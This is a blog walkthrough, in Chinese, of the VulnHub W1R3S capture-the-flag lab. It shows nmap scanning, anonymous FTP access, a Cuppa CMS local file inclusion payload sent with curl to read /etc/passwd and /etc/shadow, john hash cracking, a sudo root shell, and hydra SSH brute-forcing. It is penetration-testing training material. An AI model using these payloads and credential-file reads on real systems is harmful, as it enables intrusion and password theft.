红队打靶W1R3S打靶思路

靶机地址:https://download.vulnhub.com/w1r3s/w1r3s.v1.0.1.zip

#用tmux分屏命令行 tmux split-window 划分上下两个窗口 tmux split-window -h 划分左右两个窗口

#窗口的移动为 ctrl+b+方向键

主机发现:

将靶机在本地vm开启

kali里面得到虚拟机ip,扫描整个c段

sudo nmap -sn 192.168.80.128/24

-sn参数 只做ping扫描,不做端口扫描

使用对比方法,没开靶机之前扫一次,开启靶机后再扫一次,多出来的地址就是我们需要的靶机的地址。

得到靶机地址为192.168.80.182

端口扫描:

sudo nmap -min-rate 10000 192.168.80.182

-min-rate 为每次扫描至少等待的时间,单位为毫秒

得到四个开放的端口,分别是21/tcp ftp,22/tcp ssh,80/tcp http,3306/tcp mysql

接着进一步扫描这几个端口

sudo nmap sT sV -sC -O p21,22,80,3306 192.168.80.182

-sT参数 指定以TCP协议进行扫描 -sV参数 探测各服务的版本 -sC参数 用默认脚本进行扫描 -O探测操作系统版本 -p指定端口

可以看到ftp允许匿名登录,且给了我们三个文件夹,又可能有信息泄露,优先查看

ssh一般不优先考虑,80权重最重

查看各个端口的端口的可能可利用漏洞

sudo nmap --script=vuln -p21,80,22,3306 192.168.80.182

使用--script=vuln 可以扫描网站常见漏洞以及网页的目录结构

可以看到有DOS和一个Wordpress,DOS可以不考虑,Wordpress留意一下

我们还可以执行UDP扫描

sudo nmap -sU --top-ports 20 192.168.80.182

-sU表示UDP扫描 --top-ports 20 表示对top20的端口进行扫描

看到前二十个端口都是开放或者被过滤状态,无明确开放端口,可以暂时不考虑

FTP渗透:

测试FTP服务

ftp 192.168.80.182

name为anonymous password为空

用binary指令使下载的文件可读

ls可以看到有三个文件夹,把这些文件全部下载下来

先进入content 输入mget *.txt

退出conten文件夹并进入第二个文件夹,下载文件

下载第三个文件夹内容

没有其他内容则quit退出

读取所有下载下来的文件内容

cat *.txt

第一句话为w1r3s公司的新的ftp服务

第二句话01ec2d8fc11c493b25029fb1f47f39ce可以去网上搜索,大概率是MD5

http://hashes.com 可以解MD5

看起来没什么用

下一串SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg==一眼应该是base-64

用kali解码base64

echo "SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg==" | base64 -d

It is easy, but not that easy..

看起来也没什么用

接下来是员工列表

Naomi.W - Manager Hector.A - IT Dept Joseph.G - Web Design Albert.O - Web Design Gina.L - Inventory Rico.D - Human Resources

可能有用特别是前两个

最后两句话翻转了

借助网络工具 Upside Down Text | Flip Text, Type Upside Down, or Backwards Text

对两句话进行正常转化

ı pou,ʇ ʇɥıuʞ ʇɥıs ıs ʇɥǝ ʍɐʎ ʇo ɹooʇ¡

ı don't thınk thıs ıs the way to root!

....punoɹɐ ƃuıʎɐןd doʇs ‘op oʇ ʞɹoʍ ɟo ʇoן ɐ ǝʌɐɥ ǝʍ

we have a ןot of work to do‘ stop pןayıng around˙˙˙˙

看起来也没啥用

综合起来FTP没有特别大的信息

Mysql试探:

尝试链接mysql服务

mysql -h 192.168.80.182 -u root -p

随便输入一个密码,被告知不允许接入Mysql服务

Mysql没有什么说法

Web渗透:

打开浏览器查看web服务

可以看到是apache服务,查看源码也是没有什么有价值的信息

扫一下目录

sudo gobuster dir -u http://192.168.80.182 --wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

--wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt为kali里面自带的字典

只有http://192.168.80.182/administrator/可以进入

该页面是cuppa CMS内容管理系统的安装界面

在渗透测试时此交互状态的进行必须谨慎,考虑会不会影响服务器环境,可能会造成不可逆后果。

一路next

管理员用户创建失败

查看源码并没有信息泄露,看不出版本信息

我们试着搜索cuppa cms存在的漏洞

searchsploit cuppa cms

得到一条,下载此文件

searchsploit cuppa -m 25971

读取此文件

exp有两条,一个包含远程文件,一个包含本地文件

可以试试包含本地文件

http://192.168.80.182/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd

并没有此页面

我们可以猜测不是在cuppa目录下,而是administrator目录下

有反应但是没有读取出数据

可能是传参的问题

去github官网的cuppa cms查看源代码可以发现参数是post传递的

通过命令行工具构造payload

curl --data-urlencode 'urlConfig=../../../../../../../../../etc/passwd' http://192.168.80.182/administrator/alerts/alertConfigField.php

已经列出了passwd的内容,且密码都是x,说明密码是以hash的方式存在shadow文件中

尝试读取/shadow的内容

www-data root w1r3 都有hash值

将密码存到shadow.hash中用john破解

破解出其中两个密码

试着登录w1r3s用户

登陆成功

试试常用指令,并查询当前用户的权限

拥有全部权限

提权:

有所有权限就很好提权

sudo /bin/bash

打开目录下的flag.txt

完成挑战

彩蛋:

一般来说不会考虑22端口,但是这个靶机我们可以暴力破解ssh

先构造用户名

vim user.list w1r3s root admin

hydra -L user.list -P /usr/share/wordlists/rockyou.txt ssh://192.168.80.182 -t 4

如果没有字典则需要像我一样解压

最后爆出来了w1r3s的密码,接下来和前面一样操作即可拿到flag.


红队打靶W1R3S打靶思路
http://example.com/2024/04/23/红队打靶W1R3S打靶思路/
作者
piiick
发布于
2024年4月23日
许可协议